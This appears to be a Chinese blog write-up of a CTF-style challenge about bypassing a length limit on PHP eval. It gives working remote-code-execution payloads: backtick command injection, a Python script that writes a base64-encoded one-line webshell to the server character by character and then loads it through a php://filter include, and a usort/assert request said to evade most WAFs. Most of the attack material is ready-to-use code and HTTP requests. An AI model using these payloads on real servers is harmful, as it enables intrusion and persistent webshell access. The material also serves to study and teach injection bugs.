RCE---eval长度限制绕过技巧

目录

题目源码

方法一:命令执行的利用

方法二:file_put_contents(本地文件包含的利用)

[方法三:usort(..._GET);](#方法三:usort(…_GET);)


题目源码

php 复制代码
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>

根据题目:传参的长度不能长于17,并且不能存在eval和assert

方法一:命令执行的利用

反引号可以用来执行命令,当我们传入参数时,反引号里面的内容会执行,然后再传给param接收,此时如果我们通过参数1注入我们想要执行的命令,那我们的命令将会被执行。

注意:eval命令结束必须存在 ;

php 复制代码
?param=`$_GET[1]`;&1=whoami

ok,命令执行成功。

方法二:file_put_contents(本地文件包含的利用)

查询官方文档,发现file_put_contents 可以将字符一个个地写入一个文件中,使用file_put_contents需要三个参数:

**filename:**要被写入数据的文件名。

data:要写入的数据。类型可以是 stringarray 或者是 stream 资源。

如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

参数 data 可以是数组(但不能为多维数组),相当于 file_put_contents($filename, join('', $array))

flags:flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

从官方给出的例子来看,我们可以得到下面的命令:

php 复制代码
?param=$_GET[1](filename,Data,files);&1=file_put_contents

如果我们传入的payload是这样的,很明显不对,超出了长度,我通过在网络上查询发现,第三个参数在php底层C语言中可以用8表示。

所以我们可以:

php 复制代码
?param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

成功传入。

我们可以用这种方法写入我们的一句话木马,,但是使用file_put_contents这个函数时无法对一些特殊字符生效,所以我们得将一句话木马进行base64编码

但是一个一个传入太过繁琐,使用python编写一个脚本就可以实现了

python 复制代码
import requests
 
string = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"
 
for i in string:
    payload = "http://192.168.44.136/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)
    response = requests.get(payload)
    if response.status_code == 200:
        print(i)
    else:
        print(response.status_code)

可以看出,运行成功了,去查看一下文件N中是否写入。

确实写入了我们的一句话木马的base64编码,接下来传入下面的payload

python 复制代码
?param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

方法三:usort(...$_GET);

tip:此方法为php5的特性

python 复制代码
POST /web.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
 
param=usort(...$_GET);

利用抓包工具进行抓包,然后将包修改为如上:

GET变量被展开成两个参数`['test', 'phpinfo();']`和`assert`,传入usort函数。usort函数的第二个参数是一个回调函数`assert`,其调用了第一个参数中的`phpinfo();`。修改`phpinfo();`为webshell即可。

ok,完成。

注意,这个方法基本无视任何WAF。

相关推荐
Estar.Lee18 分钟前
时间操作[计算时间差]免费API接口教程
android·网络·后端·网络协议·tcp/ip
找藉口是失败者的习惯1 小时前
从传统到未来:Android XML布局 与 Jetpack Compose的全面对比
android·xml
Jinkey2 小时前
FlutterBasic - GetBuilder、Obx、GetX<Controller>、GetxController 有啥区别
android·flutter·ios
大白要努力!4 小时前
Android opencv使用Core.hconcat 进行图像拼接
android·opencv
天空中的野鸟5 小时前
Android音频采集
android·音视频
小白也想学C6 小时前
Android 功耗分析(底层篇)
android·功耗
曙曙学编程6 小时前
初级数据结构——树
android·java·数据结构
闲暇部落8 小时前
‌Kotlin中的?.和!!主要区别
android·开发语言·kotlin
诸神黄昏EX10 小时前
Android 分区相关介绍
android
大白要努力!11 小时前
android 使用SQLiteOpenHelper 如何优化数据库的性能
android·数据库·oracle